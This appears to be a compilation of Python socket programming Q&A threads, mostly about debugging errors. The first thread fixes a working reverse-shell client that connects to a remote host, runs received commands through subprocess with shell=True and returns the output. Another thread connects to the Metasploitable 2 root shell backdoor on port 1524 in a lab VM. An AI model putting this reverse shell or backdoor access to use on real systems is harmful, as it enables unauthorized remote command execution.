I am trying to execute subprocess on my other pc with sockets.
import socket
import subprocess
def command_execution(command_exec):
return subprocess.check_output(command_exec, shell=True)
ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !\n")
command = connection.recv(1024)
copt = command_execution(command)
connection.send(copt)
connection.close()
Getting this error -->
nextchar = self.instream.read(1)
AttributeError: 'bytes' object has no attribute 'read'
I am troubling with that Attribute Error. How can i fix this ?
It works without subprocess
Solved.
import socket
import subprocess
def command_execution(command):
return subprocess.check_output(command, shell=True)
ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !\n")
command = connection.recv(1024)
command_output = command_execution(command.decode("ascii"))
connection.send(command_output.encode('ascii'))
connection.close()
The problem was, connection.recv() takes data in binary, but subprocess needs string data. So first decode connection.rev() to string, pass it to subprocess_checkoutput function, than take output to convert it back to binary, so connection.send() can work.
Related
I would like to redirect stdout and stderr to socket.send as an encoded string.
I'm working on Windows 10.
I have seen solutions online such as Python. Redirect stdout to a socket and How to constantly send STDOUT to my python TCP server?.
These solutions are not redirecting stderr and I get the exception below.
The farthest I got is this:
import socket, sys, argparse
class stdout_():
def __init__(self, sock_resp):
self.sock_resp = sock_resp
def write(self, mes):
self.sock_resp.send(mes.encode())
SERVER = socket.gethostbyname(socket.gethostname())
PORT = 5050
ADDR = (SERVER, PORT)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Start server")
old_out = sys.stdout
srv.bind(ADDR)
srv.listen()
sock_resp, addr_resp = srv.accept()
new_out = stdout_(sock_resp)
sys.stdout = new_out
# sys.stdout = sock_resp ### sock_object has no attribute 'write'
while 1:
try:
a = sock_resp.recv(1024).decode()
parser = argparse.ArgumentParser()
parser.parse_args(a.split())
except socket.timeout:
#print('server timeout!!' + '\n')
continue
But this doesn't redirect stderr, and whenever the argparse print is getting to the client's console I get this exception on the server's console:
AttributeError: 'stdout_' object has no attribute 'flush'
I just trying to learn penetration test tools like nmap, netcat etc. now and I'm testing this tools on my Metasploitable 2 VM.When I scanned my Metasploitable machine's port, I saw there is Metasploitable root shell(1524) open port:
1524/tcp open shell Metasploitable root shell
When I connect to port 1524 with simple netcat tcp connection, I accessed my Metasploitable 2 VM's shell immediately:
root#kali:~# netcat 10.0.2.4 1524
root#metasploitable:/#
It was very easy even for me and I thought I can connect to the my Metasploitable 2 VM via python socket but, it was not as easy as I thought.
import sys
import socket
import subprocess
host = '10.0.2.4' # Metasploitable 2 VM's IP
port = 1524 # Metasploitable root shell
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as err:
print(err)
while True:
data = sock.recv(1024)
cmd = input('root#nonkali:#> ')
if cmd == 'quit':
sock.close()
sys.exit()
if cmd:
command = subprocess.Popen(data.decode('utf-8'), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
outs = command.stdout.read() + command.stderr.read()
str_outs = str(outs, 'utf-8')
sock.send(cmd.encode())
print(str_outs)
sock.close()
Output:
root#nonkali:#> ls
/bin/sh: 1: root#metasploitable:/#: not found
ls
ls
^CTraceback (most recent call last):
File "Python/tcp_client.py", line 15, in <module>
data = sock.recv(4096)
KeyboardInterrupt
I tried some bunch of codes like this but I never access my VM's shell.
I still don't know what am I doing wrong.I need a bit help.Actually, I want to understanding difference between netcat 10.0.2.4 1524 and python socket connection.
I'll provide two ways of doing it, that both worked for me. I tried the following on ubuntu 17.10 (with python 2.7.14).
The first one is using sockets and establishing a TCP connection. The code snippet is the following:
#!/usr/bin/env python
import sys
from socket import *
def nc(host, port):
s = socket(AF_INET, SOCK_STREAM) # TCP client
s.connect((host, port))
try:
while 1:
mydata = raw_input("root#root:#> ")
if mydata.strip()!='':
s.sendall(str(mydata))
data = s.recv(1024)
print data
except KeyboardInterrupt:
s.close()
sys.exit(0)
if __name__ == '__main__':
host = '...'
port = 11111
nc(host, port)
This gave me the following output:
$ ./test.py
root#root:#> ls
file1
testfile.zip
testfile3
root#root:#> whoami
testuser
root#root:#>
The other way as I said in the comments is by using pwntools.
The script is the following:
from pwn import *
p = remote(host,port)
p.interactive()
This will work also. The main difference between the two scripts is that the first script
is a native python socket-based implementation (use standard libraries only) while the other way
even if its easier depends on pwntools framework and doesn't mess with low-level socket programing. Actually both scripts are nothing more than just a simple TCP-client implementation.
I guess,I found my problem: Threading! I don't know exactly how works threading but,I implemented threading module to my code and It works well now.
#!/usr/bin/python3.6
import sys
import socket
import threading
def tcp_connect(host, port):
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
interact()
except Exception as err:
print(err)
sys.exit()
def recv():
while True:
try:
data = sock.recv(1024)
sys.stdout.write(data.decode('utf-8'))
sys.stdout.flush()
except Exception as err:
print(err)
sock.close()
sys.exit()
def interact():
th = threading.Thread(target=recv)
th.start()
try:
while True:
cmd = sys.stdin.read(1)
sock.send(cmd.encode())
print('Connection closed.')
sock.close()
sys.exit()
except KeyboardInterrupt:
sock.close()
sys.exit()
if __name__ == '__main__':
host = '10.0.2.4'
port = 1524
tcp_connect(host, port)
And my commands are working:
root#metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
I have this short program:
import sys
import socket
target = "google.co.uk"
port = 443
print(target)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
print("successfull connection to: " + target)
When I run the code, I get:
s.connect(target)
TypeError: getsockaddrarg: AF_INET address must be tuple, not str
When I tried to change the line to: s.connect(target,443)
I also got an error:
s.connect(target,443)
TypeError: connect() takes exactly one argument (2 given)
What is the problem?
What the function receives as a parameter is a tuple and thus a tuple should be given as a parameter. Meaning instead f(a,b) call the function with f((a,b))
And so, we fix your code like this:
import sys
import socket
target = "google.co.uk"
port = 443
print(target)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
print("successfull connection to: " + target)
I was getting the same error. From the connections.py file from PyMySQL there's a function named connect() line with
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(self.connect_timeout)
sock.connect(self.unix_socket)
A Windows user will get
AttributeError: module 'socket' has no attribute 'AF_UNIX'
To fix it one should change the first line to
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
This will then get
File "C:\Users\tiago\Desktop\dev\venv\lib\site-packages\pymysql\connections.py", line 609, in connect
sock.connect(self.windows_socket)
TypeError: connect(): AF_INET address must be tuple, not str
Based on this answer, one just need to have the third line changed to
sock.connect((self.unix_socket))
so you should have
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.connect_timeout)
sock.connect((self.unix_socket))
I am in the process of making a simple networking messaging interface, using the Sockets module preinstalled in Python 3.5.1 . The code returns with a
TypeError: a bytes-like object is required, not 'str'
The server receives the message, but after that the program crashes with that error^I have done research and am aware of using .encode/.decode('utf-8') but it still returns the same error. The error is on the tcpServer.py file, whose source code will be below. I've read about using b'string here' but i don't know if it is applicable to variables. Thank you in advance.
Source:
import socket
def Main():
host = "127.0.0.1" #makes localhost the host server
port = 5000 #any random port between 1024 and 65535
s = socket.socket() #creates a new socket object
s.bind((host, port))
s.listen(1) #listens for 1 connection
c, addr = s.accept() #accepts a connection and address
print("Connection from: ", str(addr))
while True:
data = c.recv(1024) #receives bytes from connection with a 1024 buffer
if not data:
break
print("From Client: ",str(data.decode()))
data = str(data).upper() #overwrites current values in var data with a string of the new data in uppercase
print("Sending: ",str(data))
c.send(data) #tells connection to send the data
c.close()
if __name__ == "__main__":
Main()
I get the following error when I want to run this code. I made a mistake I do not understand where all the normal
Where do you think the error
import socket,time
import thread
class http():
def __init__(self):
self.socket = socket
self.port = 5000
self.buffsize = 1024
self.listen = 5
self._header = ("HTTP/1.1 200 OK\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n")
def _worker(self,socket,sleep):
# Client connect for thread worker
while True:
time.sleep(sleep)
client,address = socket.accept()
data = client.recv(1024)
if data:
client.send(self._header)
client.send(data)
client.close()
def httpHandler(self):
# Create Socket For Connection
try:
self.socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.socket.bind(('127.0.0.1',self.port))
self.socket.listen(self.listen)
self.socket.setblocking(False)
except socket.error as error:
print error
finally:
print "HTTP Server Running - 127.0.0.1:5000"
self._worker(self.socket,1)
if __name__ == "__main__":
application = http()
application.httpHandler()
When I want to run on the terminal, the error
but how can it be said there is the problem of self-
HTTP Server Running - 127.0.0.1:5000
Traceback (most recent call last):
File "/Users/batuhangoksu/http.py", line 44, in <module>
application.httpHandler()
File "/Users/batuhangoksu/http.py", line 40, in httpHandler
self._worker(self.socket,1)
File "/Users/batuhangoksu/http.py", line 22, in _worker
client,address = socket.accept()
AttributeError: 'module' object has no attribute 'accept'
Use self.socket, not socket:
client,address = self.socket.accept()
socket is the name of the module. self.socket is a socket._socketobject, the value returned by a call to socket.socket. Verily, there are too many things named "socket" :).
I suggest changing self.socket to something else to help separate the ideas.
You also need to save the return value when you call socket.socket. Currently, you have
self.socket = socket
which sets the instance attribute self.socket to the module socket. That's not useful, since you can already access the module with plain old socket. Instead, use something like
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
import multiprocessing as mp
import socket
import time
HOST = '' # Symbolic name meaning all available interfaces
PORT = 50007 # Arbitrary non-privileged port
def server():
header = ("HTTP/1.1 200 OK\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
while True:
conn, addr = s.accept()
data = conn.recv(1024)
if not data: break
conn.send(header)
conn.send(data)
conn.close()
def client():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Hello, world')
data = s.recv(1024)
s.close()
print 'Received', repr(data)
sproc = mp.Process(target = server)
sproc.daemon = True
sproc.start()
while True:
time.sleep(.5)
client()